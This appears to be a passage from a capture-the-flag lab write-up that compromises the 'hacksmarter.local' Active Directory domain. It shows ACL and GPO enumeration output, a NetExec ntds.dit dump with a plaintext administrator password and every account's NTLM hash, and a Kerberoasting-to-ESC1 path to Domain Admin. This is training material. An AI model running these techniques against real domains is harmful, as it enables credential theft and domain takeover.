S-1-5-32-544 CN=54afcfb9-637a-4251-9f47-4d50e7021211,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=54afcfb9-637a-4251-9f47-4d50e7021211,CN... S-1-5-32-544 CN=f4728883-84dd-483c-9897-274f2ebcf11e,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=f4728883-84dd-483c-9897-274f2ebcf11e,CN... S-1-5-32-544 CN=ff4f9d27-7157-4cb0-80a9-5d6f2b14c8ff,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ff4f9d27-7157-4cb0-80a9-5d6f2b14c8ff,CN... S-1-5-32-544 CN=83C53DA7-427E-47A4-A07A-A324598B88F7,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=83C53DA7-427E-47A4-A07A-A324598B88F7,CN... S-1-5-32-544 CN=C81FC9CC-0130-4FD1-B272-634D74818133,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=C81FC9CC-0130-4FD1-B272-634D74818133,CN... S-1-5-32-544 CN=E5F9E791-D96D-4FC9-93C9-D53E1DC439BA,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=E5F9E791-D96D-4FC9-93C9-D53E1DC439BA,CN... S-1-5-32-544 CN=e6d5fd00-385d-4e65-b02d-9da3493ed850,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=e6d5fd00-385d-4e65-b02d-9da3493ed850,CN... S-1-5-32-544 CN=3a6b3fbf-3168-4312-a10d-dd5b3393952d,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=3a6b3fbf-3168-4312-a10d-dd5b3393952d,CN... S-1-5-32-544 CN=7F950403-0AB3-47F9-9730-5D7B0269F9BD,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=7F950403-0AB3-47F9-9730-5D7B0269F9BD,CN... S-1-5-32-544 CN=434bb40d-dbc9-4fe7-81d4-d57229f7b080,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=434bb40d-dbc9-4fe7-81d4-d57229f7b080,CN... S-1-5-32-544 CN=A0C238BA-9E30-4EE6-80A6-43F731E9A5CD,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=A0C238BA-9E30-4EE6-80A6-43F731E9A5CD,CN... S-1-5-32-544 CN=Windows2003Update,CN=DomainUpdates,CN=S... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Windows2003Update,CN=DomainUpdates,CN=S... S-1-5-32-544 CN=ActiveDirectoryUpdate,CN=DomainUpdates,... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ActiveDirectoryUpdate,CN=DomainUpdates,... S-1-5-32-544 CN=Password Settings Container,CN=System,D... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Password Settings Container,CN=System,D... S-1-5-32-544 CN=PSPs,CN=System,DC=hacksmarter,DC=local S-1-5-32-544 CN=TPM Devices,DC=hacksmarter,DC=local S-1-5-32-544 CN=Administrator,CN=Users,DC=hacksmarter,D... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Administrator,CN=Users,DC=hacksmarter,D... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Administrator,CN=Users,DC=hacksmarter,D... S-1-5-32-544 CN=Guest,CN=Users,DC=hacksmarter,DC=local S-1-5-32-544 CN=Builtin,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 CN=Builtin,DC=hacksmarter,DC=local S-1-5-32-544 CN=Builtin,DC=hacksmarter,DC=local S-1-5-32-544 CN=Administrators,CN=Builtin,DC=hacksmarte... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Administrators,CN=Builtin,DC=hacksmarte... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Administrators,CN=Builtin,DC=hacksmarte... S-1-5-32-544 CN=Users,CN=Builtin,DC=hacksmarter,DC=local S-1-5-32-544 CN=S-1-5-4,CN=ForeignSecurityPrincipals,DC... S-1-5-32-544 CN=S-1-5-11,CN=ForeignSecurityPrincipals,D... S-1-5-32-544 CN=Guests,CN=Builtin,DC=hacksmarter,DC=local S-1-5-32-544 CN=Print Operators,CN=Builtin,DC=hacksmart... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Print Operators,CN=Builtin,DC=hacksmart... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Print Operators,CN=Builtin,DC=hacksmart... S-1-5-32-544 CN=Backup Operators,CN=Builtin,DC=hacksmar... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Backup Operators,CN=Builtin,DC=hacksmar... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Backup Operators,CN=Builtin,DC=hacksmar... S-1-5-32-544 CN=Replicator,CN=Builtin,DC=hacksmarter,DC... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Replicator,CN=Builtin,DC=hacksmarter,DC... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Replicator,CN=Builtin,DC=hacksmarter,DC... S-1-5-32-544 CN=Remote Desktop Users,CN=Builtin,DC=hack... S-1-5-32-544 CN=Network Configuration Operators,CN=Buil... S-1-5-32-544 CN=Performance Monitor Users,CN=Builtin,DC... S-1-5-32-544 CN=Performance Log Users,CN=Builtin,DC=hac... S-1-5-32-544 CN=Distributed COM Users,CN=Builtin,DC=hac... S-1-5-32-544 CN=IIS_IUSRS,CN=Builtin,DC=hacksmarter,DC=... S-1-5-32-544 CN=S-1-5-17,CN=ForeignSecurityPrincipals,D... S-1-5-32-544 CN=Cryptographic Operators,CN=Builtin,DC=h... S-1-5-32-544 CN=Event Log Readers,CN=Builtin,DC=hacksma... S-1-5-32-544 CN=Certificate Service DCOM Access,CN=Buil... S-1-5-32-544 CN=RDS Remote Access Servers,CN=Builtin,DC... S-1-5-32-544 CN=RDS Endpoint Servers,CN=Builtin,DC=hack... S-1-5-32-544 CN=RDS Management Servers,CN=Builtin,DC=ha... S-1-5-32-544 CN=Hyper-V Administrators,CN=Builtin,DC=ha... S-1-5-32-544 CN=Access Control Assistance Operators,CN=... S-1-5-32-544 CN=Remote Management Users,CN=Builtin,DC=h... S-1-5-32-544 CN=Storage Replica Administrators,CN=Built... S-1-5-32-544 CN=Server,CN=System,DC=hacksmarter,DC=local S-1-5-32-544 CN=DC01,OU=Domain Controllers,DC=hacksmart... S-1-5-32-544 CN=krbtgt,CN=Users,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 CN=krbtgt,CN=Users,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 CN=krbtgt,CN=Users,DC=hacksmarter,DC=local S-1-5-32-544 CN=Domain Computers,CN=Users,DC=hacksmarte... S-1-5-32-544 CN=Domain Controllers,CN=Users,DC=hacksmar... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Domain Controllers,CN=Users,DC=hacksmar... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Domain Controllers,CN=Users,DC=hacksmar... S-1-5-32-544 CN=Schema Admins,CN=Users,DC=hacksmarter,D... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Schema Admins,CN=Users,DC=hacksmarter,D... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Schema Admins,CN=Users,DC=hacksmarter,D... S-1-5-32-544 CN=Enterprise Admins,CN=Users,DC=hacksmart... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Enterprise Admins,CN=Users,DC=hacksmart... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Enterprise Admins,CN=Users,DC=hacksmart... S-1-5-32-544 CN=Cert Publishers,CN=Users,DC=hacksmarter... S-1-5-32-544 CN=Domain Admins,CN=Users,DC=hacksmarter,D... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Domain Admins,CN=Users,DC=hacksmarter,D... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Domain Admins,CN=Users,DC=hacksmarter,D... S-1-5-32-544 CN=Domain Users,CN=Users,DC=hacksmarter,DC... S-1-5-32-544 CN=Domain Guests,CN=Users,DC=hacksmarter,D... S-1-5-32-544 CN=Group Policy Creator Owners,CN=Users,DC... S-1-5-32-544 CN=RAS and IAS Servers,CN=Users,DC=hacksma... S-1-5-32-544 CN=Server Operators,CN=Builtin,DC=hacksmar... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Server Operators,CN=Builtin,DC=hacksmar... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Server Operators,CN=Builtin,DC=hacksmar... S-1-5-32-544 CN=Account Operators,CN=Builtin,DC=hacksma... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Account Operators,CN=Builtin,DC=hacksma... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Account Operators,CN=Builtin,DC=hacksma... S-1-5-32-544 CN=Pre-Windows 2000 Compatible Access,CN=B... S-1-5-32-544 CN=Incoming Forest Trust Builders,CN=Built... S-1-5-32-544 CN=Windows Authorization Access Group,CN=B... S-1-5-32-544 CN=Terminal Server License Servers,CN=Buil... S-1-5-32-544 CN=S-1-5-9,CN=ForeignSecurityPrincipals,DC... S-1-5-32-544 CN=6E157EDF-4E72-4052-A82A-EC3F91021A22,CN... S-1-5-32-544 CN=Allowed RODC Password Replication Group... S-1-5-32-544 CN=Denied RODC Password Replication Group,... S-1-5-32-544 CN=Read-only Domain Controllers,CN=Users,D... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Read-only Domain Controllers,CN=Users,D... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Read-only Domain Controllers,CN=Users,D... S-1-5-32-544 CN=Enterprise Read-only Domain Controllers... S-1-5-32-544 CN=Cloneable Domain Controllers,CN=Users,D... S-1-5-32-544 CN=Protected Users,CN=Users,DC=hacksmarter... S-1-5-32-544 CN=Key Admins,CN=Users,DC=hacksmarter,DC=l... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Key Admins,CN=Users,DC=hacksmarter,DC=l... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Key Admins,CN=Users,DC=hacksmarter,DC=l... S-1-5-32-544 CN=Enterprise Key Admins,CN=Users,DC=hacks... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Enterprise Key Admins,CN=Users,DC=hacks... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Enterprise Key Admins,CN=Users,DC=hacks... S-1-5-32-544 CN=RID Manager$,CN=System,DC=hacksmarter,D... S-1-5-32-544 CN=RID Set,CN=DC01,OU=Domain Controllers,D... S-1-5-32-544 CN=DnsAdmins,CN=Users,DC=hacksmarter,DC=local S-1-5-32-544 CN=DnsUpdateProxy,CN=Users,DC=hacksmarter,... S-1-5-32-544 CN=MicrosoftDNS,CN=System,DC=hacksmarter,D... S-1-5-21-3154413470-3340737026-2748725799-... CN=MicrosoftDNS,CN=System,DC=hacksmarter,D... S-1-5-9 CN=MicrosoftDNS,CN=System,DC=hacksmarter,D... S-1-5-32-544 DC=RootDNSServers,CN=MicrosoftDNS,CN=Syste... S-1-5-9 DC=RootDNSServers,CN=MicrosoftDNS,CN=Syste... S-1-5-21-3154413470-3340737026-2748725799-... DC=RootDNSServers,CN=MicrosoftDNS,CN=Syste... S-1-5-9 DC=RootDNSServers,CN=MicrosoftDNS,CN=Syste... S-1-5-32-544 DC=@,DC=RootDNSServers,CN=MicrosoftDNS,CN=... S-1-5-9 DC=@,DC=RootDNSServers,CN=MicrosoftDNS,CN=... S-1-5-21-3154413470-3340737026-2748725799-... DC=@,DC=RootDNSServers,CN=MicrosoftDNS,CN=... S-1-5-32-544 DC=A.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 DC=A.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-... DC=A.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-32-544 DC=B.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 DC=B.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-... DC=B.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-32-544 DC=C.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 DC=C.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-... DC=C.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-32-544 DC=D.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 DC=D.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-... DC=D.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-32-544 DC=E.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 DC=E.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-... DC=E.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-32-544 DC=F.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 DC=F.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-... DC=F.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-32-544 DC=G.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 DC=G.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-... DC=G.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-32-544 DC=H.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 DC=H.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-... DC=H.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-32-544 DC=I.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 DC=I.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-... DC=I.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-32-544 DC=J.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 DC=J.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-... DC=J.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-32-544 DC=K.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 DC=K.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-... DC=K.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-32-544 DC=L.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 DC=L.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-... DC=L.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-32-544 DC=M.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 DC=M.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-... DC=M.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-32-544 CN=DFSR-GlobalSettings,CN=System,DC=hacksm... S-1-5-32-544 CN=Domain System Volume,CN=DFSR-GlobalSett... S-1-5-32-544 CN=Content,CN=Domain System Volume,CN=DFSR... S-1-5-32-544 CN=SYSVOL Share,CN=Content,CN=Domain Syste... S-1-5-32-544 CN=Topology,CN=Domain System Volume,CN=DFS... S-1-5-32-544 CN=DC01,CN=Topology,CN=Domain System Volum... S-1-5-32-544 CN=DFSR-LocalSettings,CN=DC01,OU=Domain Co... S-1-5-32-544 CN=Domain System Volume,CN=DFSR-LocalSetti... S-1-5-32-544 CN=SYSVOL Subscription,CN=Domain System Vo... S-1-5-32-544 CN=Goro,CN=Users,DC=hacksmarter,DC=local S-1-5-32-544 CN=alt.svc,CN=Users,DC=hacksmarter,DC=local S-1-5-32-544 CN=Yorinobu,CN=Users,DC=hacksmarter,DC=local S-1-5-32-544 CN=Hanako,CN=Users,DC=hacksmarter,DC=local S-1-5-32-544 CN=Faraday,CN=Users,DC=hacksmarter,DC=local S-1-5-32-544 CN=Adam Smasher,CN=Users,DC=hacksmarter,DC... S-1-5-32-544 CN=Soulkiller.svc,CN=Users,DC=hacksmarter,... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Soulkiller.svc,CN=Users,DC=hacksmarter,... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Soulkiller.svc,CN=Users,DC=hacksmarter,... S-1-5-32-544 CN=Hellman,CN=Users,DC=hacksmarter,DC=local S-1-5-32-544 CN=Kei.svc,CN=Users,DC=hacksmarter,DC=local S-1-5-32-544 CN=Sliverhand.svc,CN=Users,DC=hacksmarter,... S-1-5-32-544 CN=Oda,CN=Users,DC=hacksmarter,DC=local S-1-5-32-544 CN=Saburo Arasaka,CN=Users,DC=hacksmarter,... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Saburo Arasaka,CN=Users,DC=hacksmarter,... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Saburo Arasaka,CN=Users,DC=hacksmarter,... S-1-5-32-544 CN=BCKUPKEY_94d38b42-1100-48e8-9bcf-1b3be7... S-1-5-32-544 CN=BCKUPKEY_P Secret,CN=System,DC=hacksmar... S-1-5-32-544 CN=BCKUPKEY_9ded72cf-0ad0-4dac-8641-e886b4... S-1-5-32-544 CN=BCKUPKEY_PREFERRED Secret,CN=System,DC=... S-1-5-32-544 ``` {% endcode %} Domain GPOs {% code overflow="wrap" %} ```bash PS C:\\Users\\Administrator\\Desktop> Get-DomainGPO | select displayname, gpcfilesyspath displayname gpcfilesyspath ----------- -------------- Default Domain Policy \\\\hacksmarter.local\\sysvol\\hacksmarter.local\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9} Default Domain Controllers Policy \\\\hacksmarter.local\\sysvol\\hacksmarter.local\\Policies\\{6AC1786C-016F-11D2-945F-00C04fB984F9} ``` {% endcode %} #### Writable GPOs {% code overflow="wrap" expandable="true" %} ```bash PS C:\\Users\\Administrator\\Desktop> Get-DomainGPO | % { >> $gpo = $_ >> Get-DomainObjectAcl -Identity $gpo.name -ResolveGUIDs | ? { >> $_.ActiveDirectoryRights -match "WriteProperty|WriteDacl|WriteOwner" -and >> $_.SecurityIdentifier -match "S-1-5-21-.*" >> } >> } AceType : AccessAllowed ObjectDN : CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=hacksmarter,DC=local ActiveDirectoryRights : CreateChild, Self, WriteProperty, GenericRead, WriteDacl, WriteOwner OpaqueLength : 0 ObjectSID : InheritanceFlags : None BinaryLength : 36 IsInherited : False IsCallback : False PropagationFlags : None SecurityIdentifier : S-1-5-21-3154413470-3340737026-2748725799-512 AccessMask : 917693 AuditFlags : None AceFlags : None AceQualifier : AccessAllowed AceType : AccessAllowed ObjectDN : CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=hacksmarter,DC=local ActiveDirectoryRights : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner OpaqueLength : 0 ObjectSID : InheritanceFlags : ContainerInherit BinaryLength : 36 IsInherited : False IsCallback : False PropagationFlags : InheritOnly SecurityIdentifier : S-1-5-21-3154413470-3340737026-2748725799-512 AccessMask : 983295 AuditFlags : None AceFlags : ContainerInherit, InheritOnly AceQualifier : AccessAllowed AceType : AccessAllowed ObjectDN : CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=hacksmarter,DC=local ActiveDirectoryRights : CreateChild, Self, WriteProperty, GenericRead, WriteDacl, WriteOwner OpaqueLength : 0 ObjectSID : InheritanceFlags : None BinaryLength : 36 IsInherited : False IsCallback : False PropagationFlags : None SecurityIdentifier : S-1-5-21-3154413470-3340737026-2748725799-519 AccessMask : 917693 AuditFlags : None AceFlags : None AceQualifier : AccessAllowed AceType : AccessAllowed ObjectDN : CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=hacksmarter,DC=local ActiveDirectoryRights : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner OpaqueLength : 0 ObjectSID : InheritanceFlags : ContainerInherit BinaryLength : 36 IsInherited : False IsCallback : False PropagationFlags : InheritOnly SecurityIdentifier : S-1-5-21-3154413470-3340737026-2748725799-519 AccessMask : 983295 AuditFlags : None AceFlags : ContainerInherit, InheritOnly AceQualifier : AccessAllowed AceType : AccessAllowed ObjectDN : CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=hacksmarter,DC=local ActiveDirectoryRights : CreateChild, Self, WriteProperty, GenericRead, WriteDacl, WriteOwner OpaqueLength : 0 ObjectSID : InheritanceFlags : None BinaryLength : 36 IsInherited : False IsCallback : False PropagationFlags : None SecurityIdentifier : S-1-5-21-3154413470-3340737026-2748725799-512 AccessMask : 917693 AuditFlags : None AceFlags : None AceQualifier : AccessAllowed AceType : AccessAllowed ObjectDN : CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=hacksmarter,DC=local ActiveDirectoryRights : CreateChild, Self, WriteProperty, GenericRead, WriteDacl, WriteOwner OpaqueLength : 0 ObjectSID : InheritanceFlags : None BinaryLength : 36 IsInherited : False IsCallback : False PropagationFlags : None SecurityIdentifier : S-1-5-21-3154413470-3340737026-2748725799-512 AccessMask : 917693 AuditFlags : None AceFlags : None AceQualifier : AccessAllowed AceType : AccessAllowed ObjectDN : CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=hacksmarter,DC=local ActiveDirectoryRights : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner OpaqueLength : 0 ObjectSID : InheritanceFlags : ContainerInherit BinaryLength : 36 IsInherited : False IsCallback : False PropagationFlags : InheritOnly SecurityIdentifier : S-1-5-21-3154413470-3340737026-2748725799-512 AccessMask : 983295 AuditFlags : None AceFlags : ContainerInherit, InheritOnly AceQualifier : AccessAllowed AceType : AccessAllowed ObjectDN : CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=hacksmarter,DC=local ActiveDirectoryRights : CreateChild, Self, WriteProperty, GenericRead, WriteDacl, WriteOwner OpaqueLength : 0 ObjectSID : InheritanceFlags : None BinaryLength : 36 IsInherited : False IsCallback : False PropagationFlags : None SecurityIdentifier : S-1-5-21-3154413470-3340737026-2748725799-519 AccessMask : 917693 AuditFlags : None AceFlags : None AceQualifier : AccessAllowed AceType : AccessAllowed ObjectDN : CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=hacksmarter,DC=local ActiveDirectoryRights : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner OpaqueLength : 0 ObjectSID : InheritanceFlags : ContainerInherit BinaryLength : 36 IsInherited : False IsCallback : False PropagationFlags : InheritOnly SecurityIdentifier : S-1-5-21-3154413470-3340737026-2748725799-519 AccessMask : 983295 AuditFlags : None AceFlags : ContainerInherit, InheritOnly AceQualifier : AccessAllowed AceType : AccessAllowed ObjectDN : CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=hacksmarter,DC=local ActiveDirectoryRights : CreateChild, Self, WriteProperty, GenericRead, WriteDacl, WriteOwner OpaqueLength : 0 ObjectSID : InheritanceFlags : None BinaryLength : 36 IsInherited : False IsCallback : False PropagationFlags : None SecurityIdentifier : S-1-5-21-3154413470-3340737026-2748725799-512 AccessMask : 917693 AuditFlags : None AceFlags : None AceQualifier : AccessAllowed ``` {% endcode %} #### dumping ntds.dit {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ nxc smb 10.1.217.131 -u administrator -p 'HackSmarter123!!' --ntds [!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user to dump a specific user safely or the module -M ntdsutil [Y/n] y SMB 10.1.217.131 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hacksmarter.local) (signing:True) (SMBv1:False) SMB 10.1.217.131 445 DC01 [+] hacksmarter.local\\administrator:HackSmarter123!! (Pwn3d!) SMB 10.1.217.131 445 DC01 [+] Dumping the NTDS, this could take a while so go grab a redbull... SMB 10.1.217.131 445 DC01 Administrator:500:aad3b435b51404eeaad3b435b51404ee:793879693ebccf7e0222e8a1950a58d3::: SMB 10.1.217.131 445 DC01 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: SMB 10.1.217.131 445 DC01 krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5b5ca92b15454ff09ae4706e59e82509::: SMB 10.1.217.131 445 DC01 hacksmarter.local\\Goro:1111:aad3b435b51404eeaad3b435b51404ee:74aa71bbd61e2ac88ef81aec8b2932d8::: SMB 10.1.217.131 445 DC01 hacksmarter.local\\alt.svc:1113:aad3b435b51404eeaad3b435b51404ee:26e86ef5628e57b3a35c38ef272e7081::: SMB 10.1.217.131 445 DC01 hacksmarter.local\\Yorinobu:1117:aad3b435b51404eeaad3b435b51404ee:a908eaeebad5fc442b6c699cdc1fec88::: SMB 10.1.217.131 445 DC01 hacksmarter.local\\Hanako:1125:aad3b435b51404eeaad3b435b51404ee:26e14945d3929d414e802323aae07735::: SMB 10.1.217.131 445 DC01 hacksmarter.local\\Faraday:1126:aad3b435b51404eeaad3b435b51404ee:f96db678a7003749059f37636a679da8::: SMB 10.1.217.131 445 DC01 hacksmarter.local\\Smasher:1128:aad3b435b51404eeaad3b435b51404ee:97fdd74acb15fa25e00e2c20b8175d36::: SMB 10.1.217.131 445 DC01 hacksmarter.local\\Soulkiller.svc:1129:aad3b435b51404eeaad3b435b51404ee:f4ab68f27303bcb4024650d8fc5f973a::: SMB 10.1.217.131 445 DC01 hacksmarter.local\\Hellman:1132:aad3b435b51404eeaad3b435b51404ee:c10a625c84b126ac93303c186d7379b9::: SMB 10.1.217.131 445 DC01 hacksmarter.local\\kei.svc:1134:aad3b435b51404eeaad3b435b51404ee:c87f74fac72377f1ca1b32d7d4496fc7::: SMB 10.1.217.131 445 DC01 hacksmarter.local\\Silverhand.svc:1144:aad3b435b51404eeaad3b435b51404ee:847fafaf6185ce056a861446259b4b03::: SMB 10.1.217.131 445 DC01 hacksmarter.local\\Oda:1149:aad3b435b51404eeaad3b435b51404ee:47a78a8e02ff7d04b18d40224d2a3993::: SMB 10.1.217.131 445 DC01 hacksmarter.local\\the_emperor:1601:aad3b435b51404eeaad3b435b51404ee:d87640b0d83dc7f90f5f30bd6789b133::: SMB 10.1.217.131 445 DC01 DC01$:1000:aad3b435b51404eeaad3b435b51404ee:a10899d8014f492bb116163b9f3f1452::: SMB 10.1.217.131 445 DC01 [+] Dumped 16 NTDS hashes to /home/kali/.nxc/logs/ntds/DC01_10.1.217.131_2025-12-29_212123.ntds of which 15 were added to the database SMB 10.1.217.131 445 DC01 [*] To extract only enabled accounts from the output file, run the following command: SMB 10.1.217.131 445 DC01 [*] cat /home/kali/.nxc/logs/ntds/DC01_10.1.217.131_2025-12-29_212123.ntds | grep -iv disabled | cut -d ':' -f1 SMB 10.1.217.131 445 DC01 [*] grep -iv disabled /home/kali/.nxc/logs/ntds/DC01_10.1.217.131_2025-12-29_212123.ntds | cut -d ':' -f1 ``` {% endcode %} ## Path to DA: * Given local credentials `faraday` * Kerberos pre-auth enumeration of users * ldap domain dump using `faraday` user credentials * Find `the_emporer` and `Yorinobu` as targets * Kerberoast `alt.svc` account * `alt.svc` has GenericAll permissions over `Yorinobu` (who has remote access) * `Yorinobu` has `GenericWrite` over `SoulKiller.svc` (this account is the certificate management for the AI service they use) * Did ESC1 path to administrator access